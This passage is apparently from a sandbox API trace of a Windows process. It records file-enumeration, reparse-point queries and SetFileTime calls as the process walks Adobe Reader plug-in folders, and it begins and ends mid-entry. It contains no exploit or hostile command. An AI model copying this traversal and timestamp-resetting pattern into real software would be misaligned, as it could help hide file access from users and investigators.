cFileName="WindowsMedia.RUM", cAlternateFileName="")) returned 1 [0083.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.619] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.619] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216980 [0083.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b0b48 [0083.620] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.620] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.RUM", cAlternateFileName="")) returned 0 [0083.620] GetLastError () returned 0x12 [0083.620] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0083.620] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.620] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.620] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.RUM", cAlternateFileName="")) returned 1 [0083.620] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.RUM", cAlternateFileName="")) returned 1 [0083.620] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.RUM", cAlternateFileName="")) returned 1 [0083.620] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.RUM", cAlternateFileName="")) returned 1 [0083.620] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.RUM", cAlternateFileName="")) returned 0 [0083.620] GetLastError () returned 0x12 [0083.621] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2fa0) returned 1 [0083.621] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0083.621] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2e98) returned 1 [0083.621] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2d90) returned 1 [0083.621] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_RUS", cAlternateFileName="")) returned 1 [0083.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2d90 [0083.621] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.622] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0083.622] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0083.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.623] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0083.623] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.623] NtClose (Handle=0x168) returned 0x0 [0083.623] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2d90) returned 1 [0083.623] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.623] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2d90 [0083.624] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2e98 [0083.624] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0083.624] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.624] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.RUS", cAlternateFileName="")) returned 1 [0083.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.625] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.RUS", cAlternateFileName="")) returned 1 [0083.625] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.625] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.RUS", cAlternateFileName="")) returned 1 [0083.625] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.625] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.RUS", cAlternateFileName="")) returned 1 [0083.625] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.625] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.RUS", cAlternateFileName="")) returned 0 [0083.625] GetLastError () returned 0x12 [0083.625] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e91c0 [0083.625] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0083.625] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.626] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.RUS", cAlternateFileName="")) returned 1 [0083.626] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.RUS", cAlternateFileName="")) returned 1 [0083.626] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.RUS", cAlternateFileName="")) returned 1 [0083.626] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.RUS", cAlternateFileName="")) returned 1 [0083.626] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.RUS", cAlternateFileName="")) returned 0 [0083.626] GetLastError () returned 0x12 [0083.626] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.626] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_SKY", cAlternateFileName="")) returned 1 [0083.626] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2d90 [0083.626] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.629] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0083.629] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0083.629] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.630] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0083.630] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.630] NtClose (Handle=0x180) returned 0x0 [0083.630] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2d90) returned 1 [0083.630] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.630] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.630] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2d90 [0083.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2fa0 [0083.631] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e91c0 [0083.631] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.631] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.SKY", cAlternateFileName="")) returned 1 [0083.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.632] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2e98 [0083.632] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216a20 [0083.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b1070 [0083.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.633] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.SKY", cAlternateFileName="")) returned 1 [0083.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.634] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216a40 [0083.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b1178 [0083.635] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.635] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.SKY", cAlternateFileName="")) returned 1 [0083.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.635] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.635] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216a60 [0083.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b1280 [0083.636] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.636] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.SKY", cAlternateFileName="")) returned 1 [0083.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.637] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.637] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.637] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.637] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.637] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216a80 [0083.638] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b1388 [0083.638] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.638] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.SKY", cAlternateFileName="")) returned 0 [0083.638] GetLastError () returned 0x12 [0083.638] FindFirstFileExW (in: 